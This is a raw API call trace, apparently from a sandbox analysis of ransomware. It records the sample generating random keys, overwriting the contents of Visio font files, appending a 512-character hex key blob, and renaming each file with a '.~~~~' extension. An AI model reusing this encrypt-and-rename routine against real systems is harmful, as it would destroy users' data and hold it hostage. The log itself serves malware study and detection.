	[0087.257] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.~~~~")) returned 1
	[0087.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0087.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.258] GetLastError () returned 0x0
	[0087.258] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0087.260] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0087.260] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.260] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20725006550) returned 1
	[0087.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9dd201d0, dwHighDateTime=0x1d60e1e)) 
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9a98
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a98 | out: hHeap=0x300000) returned 1
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6f40
	[0087.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0087.261] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.261] GetLastError () returned 0x0
	[0087.261] GetLastError () returned 0x0
	[0087.261] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.261] GetLastError () returned 0x0
	[0087.261] GetLastError () returned 0x0
	[0087.264] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.264] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.265] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.265] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.268] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.268] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.268] CloseHandle (hObject=0x128) returned 1
	[0087.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0087.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.~~~~")) returned 1
	[0087.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0087.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.269] GetLastError () returned 0x0
	[0087.269] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39ff38) returned 1
	[0087.270] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0087.270] CryptReleaseContext (hProv=0x39ff38, dwFlags=0x0) returned 1
	[0087.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0087.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.270] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20726056399) returned 1
	[0087.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9dd201d0, dwHighDateTime=0x1d60e1e)) 
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9a60
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a60 | out: hHeap=0x300000) returned 1
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6f40
	[0087.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0087.271] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.271] GetLastError () returned 0x0
	[0087.272] GetLastError () returned 0x0
	[0087.272] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.272] GetLastError () returned 0x0
	[0087.272] GetLastError () returned 0x0
	[0087.274] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd4ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.274] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2b01, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2b01, lpOverlapped=0x0) returned 1
	[0087.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.274] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.275] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.275] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.275] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.275] CloseHandle (hObject=0x128) returned 1
	[0087.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6248
	[0087.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.~~~~")) returned 1
	[0087.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6248 | out: hHeap=0x300000) returned 1
	[0087.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.276] GetLastError () returned 0x0
	[0087.276] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0087.277] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.277] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.277] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20726754153) returned 1
	[0087.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9dd46330, dwHighDateTime=0x1d60e1e)) 
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6ff0
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ff0 | out: hHeap=0x300000) returned 1
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6d48
	[0087.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6d48 | out: hHeap=0x300000) returned 1
	[0087.278] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.278] GetLastError () returned 0x0
	[0087.278] GetLastError () returned 0x0
	[0087.278] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.279] GetLastError () returned 0x0
	[0087.279] GetLastError () returned 0x0
	[0087.280] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.280] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x146, lpOverlapped=0x0) returned 1
	[0087.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.280] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.281] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.281] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.281] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.281] CloseHandle (hObject=0x128) returned 1
	[0087.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0087.281] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.~~~~")) returned 1
	[0087.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0087.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.282] GetLastError () returned 0x0
	[0087.572] CryptAcquireContextA (phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000) 
	[0087.572] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0087.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0087.573] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0087.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0087.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0087.582] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20757255965) returned 1
	[0087.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9e019d50, dwHighDateTime=0x1d60e1e)) 
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6df8
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6df8 | out: hHeap=0x300000) returned 1
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0087.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0087.583] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.583] GetLastError () returned 0x0
	[0087.584] GetLastError () returned 0x0
	[0087.584] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.584] GetLastError () returned 0x0
	[0087.777] GetLastError () returned 0x0
	[0087.784] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.784] WriteFile (in: hFile=0x11c, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.787] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.787] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.787] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.787] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.787] CloseHandle (hObject=0x11c) returned 1
	[0087.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5f68
	[0087.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.~~~~")) returned 1
	[0087.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5f68 | out: hHeap=0x300000) returned 1
	[0087.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0087.804] GetLastError () returned 0x0
	[0087.818] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0087.836] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0087.836] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0087.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0087.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0087.836] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20782651194) returned 1
	[0087.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9e2a14b0, dwHighDateTime=0x1d60e1e)) 
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a69d0
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a69d0 | out: hHeap=0x300000) returned 1
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6bf8
	[0087.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0087.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0087.837] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.838] GetLastError () returned 0x0
	[0087.838] GetLastError () returned 0x0
	[0087.838] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.838] GetLastError () returned 0x0
	[0087.838] GetLastError () returned 0x0
	[0087.842] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7aa8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.842] WriteFile (in: hFile=0x11c, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x18558, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x26dfec0*=0x18558, lpOverlapped=0x0) returned 1
	[0087.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.844] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.844] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
